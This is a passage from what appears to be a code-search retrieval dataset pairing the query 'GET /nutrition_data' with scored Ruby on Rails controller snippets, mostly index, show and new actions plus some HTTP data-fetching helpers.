format.xml { render :xml => @forms }\n format.json { render :json => @forms.to_json(:only => [:id, :code]) }\n format.js { render(:update) {|page| page[dom_id_nested(:index, @study)].replace :file => \"admin/study_forms/index\" }\n }\n end\n end", "title": "" }, { "docid": "78e386e4933096387c445162ea00cfdf", "score": "0.57773435", "text": "def new\n @staffing_request = StaffingRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @staffing_request }\n end\n end", "title": "" }, { "docid": "3088522973bef5e55a8c69d3eb6bf42a", "score": "0.5775953", "text": "def show\n @appraisal_form = AppraisalForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appraisal_form }\n end\n end", "title": "" }, { "docid": "7d05ca4dee73e3f798b20cb320f36970", "score": "0.57737285", "text": "def new\n @wic_form = WicForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wic_form }\n end\n end", "title": "" }, { "docid": "945a44327f640e2127edbffd661b3a95", "score": "0.57663286", "text": "def index\n @forms = Form.all\n respond_to do |format|\n format.html\n format.js\n end\n end", "title": "" }, { "docid": "68383e3d1357e772d67be629e01a00d6", "score": "0.57646143", "text": "def show\n @req = Req.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @req }\n end\n end", "title": "" }, { "docid": "203985bcac4eb385eef99d907c3f170f", "score": "0.5756675", "text": "def new\n @order_form = OrderForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_form }\n end\n end", "title": "" }, { "docid": "9039a396d9351fd1f512bcddf198aa73", "score": "0.57547355", "text": "def index\n @form_second_building_applications = Form::SecondBuildingApplication.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @form_second_building_applications }\n end\n end", "title": "" }, { "docid": "cee32af367dd3eff946191de1aa6651e", "score": "0.57424146", "text": "def new\n @ssi_form = SsiForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ssi_form }\n end\n end", "title": "" }, { "docid": "d1774b49ad59e09a0e6d08a3925a9225", "score": "0.57423097", "text": "def forms\n @forms ||= []\n end", "title": "" }, { "docid": "c49dc8a61627fff51f9cb73471250cd2", "score": "0.5727457", "text": "def new\n @emergencyrequest = Emergencyrequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @emergencyrequest }\n end\n end", "title": "" }, { "docid": "67cdc45a31d7a85b47b142e864942f0f", "score": "0.57185113", "text": "def show\n @form_instance = FormInstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @form_instance }\n end\n end", "title": "" }, { "docid": "64f8dc7a568755185f17951b5d221f72", "score": "0.5716789", "text": "def new\n @my_request = MyRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_request }\n end\n end", "title": "" }, { "docid": "a14ae00e707a2092b3db004c0914b6e6", "score": "0.5714174", "text": "def new\n @reform = Reform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reform }\n end\n end", "title": "" } ]
950dc22421ff5267f5215b778ff88c2c
GET /nutrition_data GET /nutrition_data.json
[ { "docid": "e58e536de5ac39fca9cc319bd26db059", "score": "0.0", "text": "def index\n if params[:food_item].nil?\n @nutrition_datum = NutritionDatum.all\n\n else\n @nutrition_datum = NutritionDatum.where(\"Food_item LIKE?\", '%' + params[:food_item] + '%')\n end\n end", "title": "" } ]
[ { "docid": "8ccf4bf0eda275ab522b48c6704ec758", "score": "0.6660678", "text": "def index\n @food_nutrients = FoodNutrient.all\n render json: @food_nutrients\n end", "title": "" }, { "docid": "30976fb4f98dae044e3cfac73f0fe6e4", "score": "0.6355781", "text": "def show\n render json: @food_nutrient\n end", "title": "" }, { "docid": "94ca2bd3679ad3ada3ec7aac825902cd", "score": "0.6254202", "text": "def index\n @nutrition_facts = NutritionFact.all\n end", "title": "" }, { "docid": "94ca2bd3679ad3ada3ec7aac825902cd", "score": "0.6254202", "text": "def index\n @nutrition_facts = NutritionFact.all\n end", "title": "" }, { "docid": "405cb16f28b7553098aede364d0e6874", "score": "0.6196998", "text": "def lookup_get_nutrients\n # the base uri for api requests\n query_builder = Configuration.BASE_URI.dup\n\n # prepare query string for API call\n query_builder << \"/v1/nutrients\"\n\n # process optional query parameters\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\n \"client_id\" => @client_id,\n \"client_secret\" => @client_secret,\n }\n\n # validate and preprocess url\n query_url = APIHelper.clean_url query_builder\n\n # prepare headers\n headers = {\n \"user-agent\" => \"IAMDATA V1\",\n \"accept\" => \"application/json\"\n }\n\n # invoke the API call request to fetch the response\n response = Unirest.get query_url, headers:headers\n\n # Error handling using HTTP status codes\n if response.code == 404\n raise APIException.new \"Not Found\", 404, response.raw_body\n elsif response.code == 401\n raise APIException.new \"Unauthorized\", 401, response.raw_body\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\n end\n\n response.body\n end", "title": "" }, { "docid": "64a99cbe76c377fc42b55ac3062d6880", "score": "0.6186518", "text": "def show\n @nutrition_client = NutritionClient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nutrition_client }\n end\n end", "title": "" }, { "docid": "83bcb1a3ae6167fe993d6b16ceab06be", "score": "0.61541843", "text": "def index\n @nutrition_items = NutritionItem.all\n end", "title": "" }, { "docid": "c9681d10c92c73e22b2faa591bc36d75", "score": "0.61330324", "text": "def index\n @plant_nutritions = PlantNutrition.all\n end", "title": "" }, { "docid": "1b8c17521250af951a773742fa9fdd00", "score": "0.60596466", "text": "def retrieve_jon_snow_data\n # Fetching data from the API\n @got_data = ParseJson.new(HTTParty::get('https://anapioficeandfire.com/api/characters/583').body).json_data\n end", "title": "" }, { "docid": "1a8415e3181249393fed8fa7bfcec1ab", "score": "0.6053054", "text": "def set_nutrition_datum\n @nutrition_datum = NutritionDatum.find(params[:id])\n end", "title": "" }, { "docid": "e885db8d3115c2ebb2adb462be5568ea", "score": "0.60153246", "text": "def jsondata\n json = File.read('/home/ubuntu/workspace/test/models/data.json').to_s\n obj = JSON.parse(json)\n #puts obj.to_json\n puts obj['Cuisine']\n \n end", "title": "" }, { "docid": "85370708152c3089fe1691fbdadc9a99", "score": "0.60117024", "text": "def index\n @data_json = { \"name\" => \"Antonio\", \"apellido\" => \"Jimenez\" }\n render :json => @data_json\n end", "title": "" }, { "docid": "d82dcb449b174c80d8d547ec626ca0fa", "score": "0.600412", "text": "def sample_nutrionix_response\n end", "title": "" }, { "docid": "3f55cee523c07c737b5280a9d7417e2b", "score": "0.59585035", "text": "def index\n @json_data = JsonDatum.all\n end", "title": "" }, { "docid": "3c034e0ff9756b146fe9a9eb8f343c7a", "score": "0.59564674", "text": "def get_data(args)\n url = \"https://api.urbandictionary.com/v0/define?#{args}\"\n\n begin\n res = RestClient.get(url)\n rescue RestClient::Exception => e\n return {\"error\" => \"Error: #{e.to_s}\\nWith URL: #{url}\"}\n end\n\n JSON.load res.body\n end", "title": "" }, { "docid": "8d9b0b9ea80bcdf16cad661cad3205c1", "score": "0.59271", "text": "def show\n @component_nutrient = ComponentNutrient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @component_nutrient }\n end\n end", "title": "" }, { "docid": "5d12747080edbc6ab0ba510eca1839c5", "score": "0.5924571", "text": "def get_data\n uri = URI(\"https://taskboardv2.herokuapp.com/station1.json\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n response = http.request(Net::HTTP::Get.new(uri.request_uri))\n JSON.parse(response.body)\nend", "title": "" }, { "docid": "f23ca27eb69f43814ac7b8b921c72d70", "score": "0.5914311", "text": "def index\n @dioceses = Diocese.all\n\n render json: @dioceses\n end", "title": "" }, { "docid": "14c29d827d6a935645afa34b2799a898", "score": "0.58975655", "text": "def retrieve_data\n unless @raw_data\n begin\n\n url = \"http://#{config[:server]}/render?format=json&target=#{formatted_target}&from=#{config[:from]}\"\n\n if (config[:username] && (config[:password] || config[:passfile]))\n if config[:passfile]\n pass = File.open(config[:passfile]).readline\n elsif config[:password]\n pass = config[:password]\n end\n handle = open(url, :http_basic_authentication =>[\"#{config[:username]}\", pass.chomp])\n else # we don't have both username and password trying without\n handle = open(url)\n end\n\n @raw_data = JSON.parse(handle.gets)\n output = {}\n @raw_data.each do |raw|\n raw['datapoints'].delete_if{|v| v.first.nil? }\n next if raw['datapoints'].empty?\n target = raw['target']\n data = raw['datapoints'].map {|dp| Float(dp.first) }\n start = raw['datapoints'].first.last\n dend = raw['datapoints'].last.last\n step = ((dend - start) / raw['datapoints'].size.to_f).ceil\n output[target] = { 'target' => target, 'data' => data, 'start' => start, 'end' => dend, 'step' => step }\n end\n output\n rescue OpenURI::HTTPError\n unknown \"Failed to connect to graphite server\"\n rescue NoMethodError\n unknown \"No data for time period and/or target\"\n rescue Errno::ECONNREFUSED\n unknown \"Connection refused when connecting to graphite server\"\n rescue Errno::ECONNRESET\n unknown \"Connection reset by peer when connecting to graphite server\"\n rescue EOFError\n unknown \"End of file error when reading from graphite server\"\n rescue Exception => e\n unknown \"An unknown error occured: #{e.inspect}\"\n end\n end\n end", "title": "" }, { "docid": "0aaebfccca8e51322376c5943b225c92", "score": "0.5870677", "text": "def show\r\n admincheck()\r\n @@nutri_ingredient = HTTParty.get(\"https://api.nutritionix.com/v1_1/item?id=#{params[:id]}&appId=#{@@appid}&appKey=#{@@appkey}\")\r\n @nutri = @@nutri_ingredient\r\n end", "title": "" }, { "docid": "2c9f25e7c511393f6cff47d9f6fdd936", "score": "0.58646894", "text": "def index\n @nitrogens = Nitrogen.all\n render json: @nitrogens\n end", "title": "" }, { "docid": "97f3fa120cba76b46f02e7ff144c5f2d", "score": "0.5861463", "text": "def visualize_recipe_nutrition(opts = {})\n data, _status_code, _headers = visualize_recipe_nutrition_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "0dfa7282694b6ed1410a0a0abbcb6251", "score": "0.5856169", "text": "def show\n @exercises = Exercise.all\n @file = File.read('config/exercise.json')\n @data = JSON.parse(@file)\n \n end", "title": "" }, { "docid": "25087ad7357eca89fa036ca42fa523f0", "score": "0.58538264", "text": "def create_nutrition(options={})\n options = {\n access_token: options[:access_token],\n nutrition: {\n calories: options[:calories],\n carbohydrates: options[:carbohydrates],\n fat: options[:fat],\n fiber: options[:fiber],\n protein: options[:protein],\n sodium: options[:sodium],\n water: options[:water],\n timestamp: options[:timestamp],\n meal: options[:meal],\n source: options[:source]\n }\n }\n\n response = post(\"/#{Validic.api_version}/nutrition.json\", options)\n response if response\n end", "title": "" }, { "docid": "f005b06d04bc3a6c7f928f2edbb4bdd6", "score": "0.5840398", "text": "def show\n @nutrition_fact = NutritionFact.find(params[:id])\n end", "title": "" }, { "docid": "8cade281d396f385c5df54f28d369ade", "score": "0.5839923", "text": "def fetch_data(url)\n response = RestClient.get(url, headers)\n JSON.parse(response)['data']\n end", "title": "" }, { "docid": "d7650a57a2f91ae078ae99de01175374", "score": "0.58395165", "text": "def retrieve_data\n # #YELLOW\n unless options[:server].start_with?('https://', 'http://')\n options[:server] = 'http://' + options[:server]\n end\n\n url = \"#{options[:server]}/render?format=json&target=#{formatted_target}&from=#{options[:from]}\"\n\n url_opts = {}\n\n if options[:no_ssl_verify]\n url_opts[:ssl_verify_mode] = OpenSSL::SSL::VERIFY_NONE\n end\n\n if options[:username] && (options[:password] || options[:passfile])\n if options[:passfile]\n pass = File.open(options[:passfile]).readline\n elsif options[:password]\n pass = options[:password]\n end\n\n url_opts[:http_basic_authentication] = [options[:username], pass.chomp]\n end # we don't have both username and password trying without\n handle = open(url, url_opts)\n\n @raw_data = handle.gets\n if @raw_data == '[]'\n fail 'Empty data received from Graphite - metric probably doesn\\'t exists'\n else\n @json_data = JSON.parse(@raw_data)\n output = {}\n @json_data.each do |raw|\n raw['datapoints'].delete_if { |v| v.first.nil? }\n next if raw['datapoints'].empty?\n target = raw['target']\n data = raw['datapoints'].map(&:first)\n start = raw['datapoints'].first.last\n dend = raw['datapoints'].last.last\n step = ((dend - start) / raw['datapoints'].size.to_f).ceil\n output[target] = { 'target' => target, 'data' => data, 'start' => start, 'end' => dend, 'step' => step }\n end\n output\n end\n end", "title": "" }, { "docid": "f863ac0d159917526a8e90d778d97ed8", "score": "0.5835522", "text": "def retrieve_data\n # #YELLOW\n unless @raw_data # rubocop:disable GuardClause\n begin\n unless config[:server].start_with?('https://', 'http://')\n config[:server].prepend('http://')\n end\n\n url = \"#{config[:server]}/render?format=json&target=#{formatted_target}&from=#{config[:from]}\"\n\n url_opts = {}\n\n if config[:no_ssl_verify]\n url_opts[:ssl_verify_mode] = OpenSSL::SSL::VERIFY_NONE\n end\n\n if config[:username] && (config[:password] || config[:passfile])\n if config[:passfile]\n pass = File.open(config[:passfile]).readline\n elsif config[:password]\n pass = config[:password]\n end\n\n url_opts[:http_basic_authentication] = [config[:username], pass.chomp]\n end # we don't have both username and password trying without\n\n handle = open(url, url_opts)\n\n @raw_data = handle.gets\n if @raw_data == '[]'\n unknown 'Empty data received from Graphite - metric probably doesn\\'t exists'\n else\n @json_data = JSON.parse(@raw_data)\n output = {}\n @json_data.each do |raw|\n raw['datapoints'].delete_if { |v| v.first.nil? }\n next if raw['datapoints'].empty?\n target = raw['target']\n data = raw['datapoints'].map(&:first)\n start = raw['datapoints'].first.last\n dend = raw['datapoints'].last.last\n step = ((dend - start) / raw['datapoints'].size.to_f).ceil\n output[target] = { 'target' => target, 'data' => data, 'start' => start, 'end' => dend, 'step' => step }\n end\n output\n end\n rescue OpenURI::HTTPError\n unknown 'Failed to connect to graphite server'\n rescue NoMethodError\n unknown 'No data for time period and/or target'\n rescue Errno::ECONNREFUSED\n unknown 'Connection refused when connecting to graphite server'\n rescue Errno::ECONNRESET\n unknown 'Connection reset by peer when connecting to graphite server'\n rescue EOFError\n unknown 'End of file error when reading from graphite server'\n rescue => e\n unknown \"An unknown error occured: #{e.inspect}\"\n end\n end\n end", "title": "" }, { "docid": "5b4394016befbe03dc57842d3b69c6a4", "score": "0.58319145", "text": "def data\n respond_to do |format|\n format.json { load_items_data }\n end\n end", "title": "" }, { "docid": "586343db24fa877e20ff6287e2a3f9b5", "score": "0.5828894", "text": "def nutrition_estimates\n @nutrition_estimates ||= json[\"nutritionEstimates\"].collect { |ne| Yummly::NutritionEstimate.new(ne) }\n end", "title": "" }, { "docid": "83b6a75a9f94c161e0d35f507e02a59e", "score": "0.58240294", "text": "def index\n @nutritions = Nutrition.includes(:student).all\n end", "title": "" }, { "docid": "645de68d360447749d7a5e6b371474b6", "score": "0.58099365", "text": "def query_datasf\n read_json(\"https://data.sfgov.org/resource/wwmu-gmzc.json?$limit=1000000\")\nend", "title": "" }, { "docid": "1e793a166473c1d90b3c049ef1b4961f", "score": "0.5805918", "text": "def get_json\n Net::HTTP.get_response('gificiency.com', '/gifs.json')\n end", "title": "" }, { "docid": "68198a41ae71cba4d91e300982eceeda", "score": "0.5803055", "text": "def index\n @data = Datum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data }\n end\n end", "title": "" }, { "docid": "f5c923dab4affd41cf4331347db049b2", "score": "0.5787673", "text": "def index\n @tenures = Tenure.all\n render json: @tenures\n end", "title": "" }, { "docid": "fc77559a2e5c05ce6f71e145b10ec947", "score": "0.5784948", "text": "def show\n @tuition = Tuition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tuition }\n end\n end", "title": "" }, { "docid": "09318f1fc90ea24f35bab0009d617b70", "score": "0.57838064", "text": "def show\n @data = @category.read(params[:id])\n render json: @data\n end", "title": "" }, { "docid": "ba7637badf6025aa83ef6a480a77b910", "score": "0.57833475", "text": "def home\n \t#uri = URI.parse(\"http://octopart.com/api/v2/parts/search?q=CY7C2544\")\n \turi = URI.parse(\"http://octopart.com/api/v2/parts/search?q=MT49H&apikey=298ff890\")\n \t#@data = Net::HTTP.get(uri) - works\n \t#render :json => @data\n \t@data = MultiJson.load(Net::HTTP.get(uri))\n \t@data = @data[\"results\"]\n end", "title": "" }, { "docid": "24216f9876f89e7ab349e1f2ebbb0cf8", "score": "0.5774317", "text": "def index\n @tecnicas = Tecnica.all\n render json: @tecnicas\n end", "title": "" }, { "docid": "f363bc76ff520f509d049574dfd9f585", "score": "0.57741696", "text": "def nutrition_datum_params\n params[:nutrition_datum]\n end", "title": "" }, { "docid": "bb5976635ff0bab6b51921c9ccb55013", "score": "0.5771332", "text": "def index\n @pilotage_diapasons =PilotageDiapason.all\n respond_to do |format|\n format.html # index.html.erb (no data required)\n format.json {render :json => {:successful=>true, :total=>@pilotage_diapasons.length, :data=> @pilotage_diapasons }}\n end\n end", "title": "" }, { "docid": "e02f00bd49592c171f2a3a2a461abbba", "score": "0.57655036", "text": "def index\n @nursing_diagnoses = NursingDiagnosis.all\n render json: @nursing_diagnoses\n end", "title": "" }, { "docid": "5da8dfef9f14157dc18fea390c5d0a6a", "score": "0.57635605", "text": "def nutrition(ingredient)\n source = 'https://api.nutritionix.com/v1_1/search/' + ingredient + '?fields=item_name%2Cnf_calories%2Cnf_total_fat%2Cnf_protein%2Cnf_total_carbohydrate&appId=43789ff5&appKey=84ab1be2928c84bd4126e84663c54998'\n resp = Net::HTTP.get_response(URI.parse(source))\n data = resp.body\n values = JSON.parse(data)\n\n # puts \"Name: #{values[\"hits\"][0][\"fields\"][\"item_name\"]}\"\n # puts \"Total Calories: #{values[\"hits\"][0][\"fields\"][\"nf_calories\"]}\"\n # puts \"Fat: #{((values[\"hits\"][0][\"fields\"][\"nf_total_fat\"].to_f)*9)} \"\n # puts \"Carbs: #{((values[\"hits\"][0][\"fields\"][\"nf_total_carbohydrates\"].to_f)*4)} \"\n # puts \"Protein: #{((values[\"hits\"][0][\"fields\"][\"nf_protein\"].to_f)*4)} \"\n\n# Here I find the attributes i need convert carbs protein and fats from grams to calories and insert them into a hash\n name = values[\"hits\"][0][\"fields\"][\"item_name\"]\n calories = values[\"hits\"][0][\"fields\"][\"nf_calories\"].to_f\n fat = ((values[\"hits\"][0][\"fields\"][\"nf_total_fat\"].to_f)*9)\n carbs = ((values[\"hits\"][0][\"fields\"][\"nf_total_carbohydrates\"].to_f)*4)\n protein = ((values[\"hits\"][0][\"fields\"][\"nf_protein\"].to_f)*4)\n\n ingredient = {name: name, calories: calories, fat: fat, carbs: carbs, protein: protein}\nend", "title": "" }, { "docid": "8c4174dba217f07cf09ad441a1aa0811", "score": "0.5755921", "text": "def index\n @dices = Dice.all\n render json: @dices\n end", "title": "" }, { "docid": "18b4b07f19c406865948e7cf0e2095e3", "score": "0.5751252", "text": "def index\n @heart_data = Heart.all.order(:start_time => :desc).limit(50)\n @jsonBpmData = Heart.records_to_hierarchy(:bpm, @heart_data).to_json\n @jsonSo2Data = Heart.records_to_hierarchy(:so2_sat, @heart_data).to_json\n end", "title": "" }, { "docid": "7eacd015c9b1b3f8f7baf1e46b4869b9", "score": "0.57451177", "text": "def retrieve_data\n unless @raw_data\n begin\n unless config[:server].start_with?('https://', 'http://')\n config[:server].prepend('http://')\n end\n\n url = \"#{config[:server]}/render?format=json&target=#{formatted_target}&from=#{config[:from]}&until=#{config[:until]}\"\n\n url_opts = {}\n\n if config[:no_ssl_verify]\n url_opts[:ssl_verify_mode] = OpenSSL::SSL::VERIFY_NONE\n end\n\n if config[:username] && (config[:password] || config[:passfile])\n if config[:passfile]\n pass = File.open(config[:passfile]).readline\n elsif config[:password]\n pass = config[:password]\n end\n\n url_opts[:http_basic_authentication] = [config[:username], pass.chomp]\n end # we don't have both username and password trying without\n\n handle = open(url, url_opts)\n\n @raw_data = handle.gets\n if @raw_data == '[]'\n unknown 'Empty data received from Graphite - metric probably doesn\\'t exist'\n else\n @json_data = JSON.parse(@raw_data)\n output = {}\n @json_data.each do |raw|\n raw['datapoints'].delete_if { |v| v.first.nil? }\n next if raw['datapoints'].empty?\n target = raw['target']\n data = raw['datapoints'].map(&:first)\n start = raw['datapoints'].first.last\n dend = raw['datapoints'].last.last\n step = ((dend - start) / raw['datapoints'].size.to_f).ceil\n output[target] = { 'target' => target, 'data' => data, 'start' => start, 'end' => dend, 'step' => step }\n end\n output\n end\n rescue SocketError\n unknown 'Failed to connect to graphite server'\n rescue OpenURI::HTTPError\n unknown 'Server error or invalid graphite expression'\n rescue NoMethodError\n unknown 'No data for time period and/or target'\n rescue Errno::ECONNREFUSED\n unknown 'Connection refused when connecting to Graphite server'\n rescue Errno::ECONNRESET\n unknown 'Connection reset by peer when connecting to Graphite server'\n rescue EOFError\n unknown 'End of file error when reading from Graphite server'\n rescue => e\n unknown \"An unknown error occurred: #{e.inspect}\"\n end\n end\n end", "title": "" }, { "docid": "1639b39e722965ebd6f32d38475aefee", "score": "0.57438356", "text": "def set_nutrition\n @nutrition = Nutrition.find(params[:id])\n end", "title": "" }, { "docid": "1639b39e722965ebd6f32d38475aefee", "score": "0.57438356", "text": "def set_nutrition\n @nutrition = Nutrition.find(params[:id])\n end", "title": "" }, { "docid": "1639b39e722965ebd6f32d38475aefee", "score": "0.57438356", "text": "def set_nutrition\n @nutrition = Nutrition.find(params[:id])\n end", "title": "" }, { "docid": "047dae6ca124245ce54c4cba57c9a139", "score": "0.5736943", "text": "def getJson\n render json: getData()\n end", "title": "" }, { "docid": "047dae6ca124245ce54c4cba57c9a139", "score": "0.5736943", "text": "def getJson\n render json: getData()\n end", "title": "" }, { "docid": "047dae6ca124245ce54c4cba57c9a139", "score": "0.5736943", "text": "def getJson\n render json: getData()\n end", "title": "" }, { "docid": "3d573ab03483a36dfdedd2e11d152c2a", "score": "0.57307875", "text": "def index\n @laudus = HTTParty.get('https://jsonplaceholder.typicode.com/posts/1/comments',\n :headers =>{'Content-Type' => 'application/json'} )\n end", "title": "" }, { "docid": "12dcce5c8bc914482f097192a5d98ffe", "score": "0.5727", "text": "def get_nutrition_info(food_item)\n end", "title": "" }, { "docid": "241067d5e11b3586ae9f13998665f87a", "score": "0.5726769", "text": "def get_data_discussion(json_file)\n file = Rails.root.join('public', json_file);\n data_discussions = JSON.parse(IO.read(file))\nend", "title": "" }, { "docid": "ac696530d150e5c7000f82a9cd91b0a1", "score": "0.5726079", "text": "def index\n @datapoints = Datapoint.all\n\n render json: @datapoints\n end", "title": "" }, { "docid": "530f434e5a0f1e4222a4de5fe4e48325", "score": "0.57202613", "text": "def accl_data\n @response = HTTParty.get(\"http://192.168.20.30/machine/data\")\n render json: @response\n end", "title": "" }, { "docid": "8a1292e31528ed104777cc6579b7920d", "score": "0.5710932", "text": "def api_infraction\n render json: {\n infractions: Infraction.all\n }\n end", "title": "" }, { "docid": "51bee247a9b1d559a23f4766a79e05ad", "score": "0.57008696", "text": "def getJson\n render json: getData()\n end", "title": "" }, { "docid": "b57688080d6050e9badd8f8519d6c9bd", "score": "0.5696805", "text": "def index\n @varients = Varient.all\n\n render json: @varients\n end", "title": "" }, { "docid": "a6fa2140137b89903e1e30de2b66c729", "score": "0.5696292", "text": "def datapull\n \t@neo = Neography::Rest.new(ENV['NEO4J_URL'] || \"http://localhost:7474\")\n\n if params[:type] == \"person\"\n\n \tquery = @neo.execute_query(\"START n=node(*) WHERE n.athena ='#{params[:name]}' RETURN n.name, n.course, n.year, n.living_group, n.id, n.likes;\")[\"data\"][0]\n query2 = @neo.execute_query(\"START n=node(*) MATCH (n)-[r]->() WHERE n.athena ='#{params[:name]}' RETURN type(r), r.id;\")[\"data\"]\n \tname = query[0]\n \tcourse = query[1]\n \tyear = query[2]\n \tliving_group = query[3]\n unique_id = query[4]\n \tlikes = query[5]\n \tchildren = Array.new\n\n connections = query2.uniq\n connections.each do |c|\n category_name = c[0]\n category_id = c[1]\n t = {:name => category_name, :type => \"category\", :id => category_id, :children => Array.new }\n children << t\n end\n \tret = {:details => {:name => name, :course => course, :year => year, :living_group => living_group, :likes => likes},\n :graph => {:name => params[:name], :type => params[:type], :id => unique_id, :children => children, :likes => likes }\n }\n \trender :json => ret.to_json\n\n elsif params[:type] == \"category\"\n\n query = @neo.execute_query(\"START n=node(*) MATCH (n)-[:`#{params[:name]}`]->(x) WHERE n.athena ='#{params[:parent]}' RETURN x.athena, x.id, x.likes;\")[\"data\"]\n connections = query\n children = Array.new\n connections.each do |c|\n person_athena = c[0]\n person_id = c[1]\n person_likes = c[2]\n if person_athena != \"_nil\"\n t = {:name => person_athena, :type => \"person\", :id => person_id, :likes => person_likes, :children => Array.new }\n children << t\n end\n end\n ret = {:details => {},\n :graph => {:name => params[:name], :type => params[:type], :id => params[:id], :children => children }\n };\n render :json => ret.to_json\n end\n end", "title": "" }, { "docid": "87b3cabb04cb449a08635df5c8d178b7", "score": "0.5693168", "text": "def get_subway_dataset \n subway_dataset = HTTParty.get('https://data.cityofnewyork.us/api/views/kk4q-3rt2/rows.json?accessType=DOWNLOAD')\n return subway_dataset\nend", "title": "" }, { "docid": "d43d64f9df8411277b0aa54b94c32357", "score": "0.5687745", "text": "def index\n @iot_data = IotDatum.all\n end", "title": "" }, { "docid": "1545e8221b3af4905798987ccee052b1", "score": "0.56865716", "text": "def index\n @pelicula = Pelicula.all\n render json: @pelicula, status: :ok \n end", "title": "" }, { "docid": "ffea939c232b53491370c46e8128845b", "score": "0.56856364", "text": "def index\n @jsonuserdata = Jsonuserdata.all\n render json: @jsonuserdata\n end", "title": "" }, { "docid": "2525d79e6f0031b813b145597cabccd2", "score": "0.5676681", "text": "def get_data(path)\n response = user_agent.request(Net::HTTP::Get.new(path))\n raise \"GET request failed, server returned status #{response.code}\" unless response.code == '200'\n data = JSON.parse(response.body)\n end", "title": "" }, { "docid": "c6dd048d69084dffbe79d7ff700385e5", "score": "0.5671043", "text": "def interest_info\n interest_info = Enquiries::PropertyService.new(udprn: params[:udprn].to_i).interest_info\n render json: interest_info, status: 200\n end", "title": "" }, { "docid": "d4370ef249d30bbddeddd7744a2bf3c2", "score": "0.5670434", "text": "def index\n @nonfictionliteratures = Nonfictionliterature.search(params[:search]).paginate(:per_page => 18, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @nonfictionliteratures }\n end\n end", "title": "" }, { "docid": "78ea75061679c90b2c5db0ce174597cf", "score": "0.5670418", "text": "def index\n @nations = Nation.where(hotel_src_id: current_user.hotel_src_id).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nations }\n end\n end", "title": "" }, { "docid": "f43f060e66286a9cb3feef43aec35645", "score": "0.56636155", "text": "def index\n @ingredients = @dish.ingredients\n\n render json: @ingredients\n end", "title": "" }, { "docid": "2d2114719c745becb11b01e165794389", "score": "0.56630546", "text": "def data\n if @weather\n render json: @weather\n else\n render_errors(@weather)\n end\n end", "title": "" }, { "docid": "0ce12d818da47243a337ed03f369264f", "score": "0.56590205", "text": "def deliberations_data\n\t\tdeliberation = Deliberation.find(params[:deliberation_id])\n\t\tdata = deliberation.nodes_and_links\n\t\t# data = get_deliberation_data(params)\n\t\trender json: data\n\tend", "title": "" }, { "docid": "3f27978cb52ad82ea220828f6f59ffef", "score": "0.56580013", "text": "def index\n @facilitation_interaction_observations = FacilitationinteractionObservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @facilitation_interaction_observations }\n end\n end", "title": "" }, { "docid": "f44cef8be8c3ea9f32af00529bfb42b5", "score": "0.5657895", "text": "def show\n\t\tresponse = @@conn.get '/api/v1/data/index', {:data_id => '8def2e5ec7ff524856c825a78207df85fd377438'}\n\t\t# Parse out the JSON response\n\t\tjson = JSON.parse(response.body)\n\t\tputs \"JSON response: \"\n\t\tputs json\n\t\t@data = json[\"Items\"]\n\tend", "title": "" }, { "docid": "31479342eedc2fffe95ec5f4fa48df7d", "score": "0.5657708", "text": "def index\n @otakus = Otaku.all\n\n render json: @otakus\n end", "title": "" }, { "docid": "70513c1896aa7da94eb8b8d44c2c8dc1", "score": "0.5651629", "text": "def index\n @pacient = Pacient.find(params[:pacient_id])\n @reteta = Retetum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reteta }\n end\n end", "title": "" }, { "docid": "7dd816ff9135c758a3b887be6b7b1394", "score": "0.56506634", "text": "def index\n @doughnuts = Doughnut.all\n end", "title": "" }, { "docid": "f36951a3029f7098465e49f32880b0c6", "score": "0.56467783", "text": "def index\n @notadecredito = Notadecredito.find(params[:notadecredito_id])\n @renglon_ndcndds = @notadecredito.renglon_ndcndds\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_ndcndds }\n end\n end", "title": "" }, { "docid": "a593dfa099767ff9b8bbb7a053cfd4e7", "score": "0.5641262", "text": "def retrieve_nutritionix_api_data\n unless name.nil?\n api_data = NUTRITIONIX_API.search(name)\n p api_data\n if api_data.blank? || api_data == 'Connection error.'\n return false \n else\n self.ntx_api_nutrition_data = api_data.delete 'fields'\n self.ntx_api_metadata = api_data\n\n if api_data['_score'].to_f < 0.5\n return false \n else\n return true\n end\n end\n end\n end", "title": "" }, { "docid": "a68c6840edd5ea6322415c692a9b01e2", "score": "0.56354177", "text": "def get_data_from_url\n json = RestClient.get(self.url)\n data = JSON.parse(json)\n return data\n end", "title": "" }, { "docid": "72a0088d6f0600f7b45e1c5129f72391", "score": "0.5635285", "text": "def data\n uri = URI(_data_url)\n _http_get(uri, 'Accept'=>JSON_Type) do |response|\n return JSON.parse(response.body) if response.code.to_i == 200\n end\n nil\n end", "title": "" }, { "docid": "f27f58934014e45eba48f27aa12055b0", "score": "0.56328046", "text": "def index\n @situation_teaching_equipaments = SituationTeachingEquipament.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situation_teaching_equipaments }\n end\n end", "title": "" }, 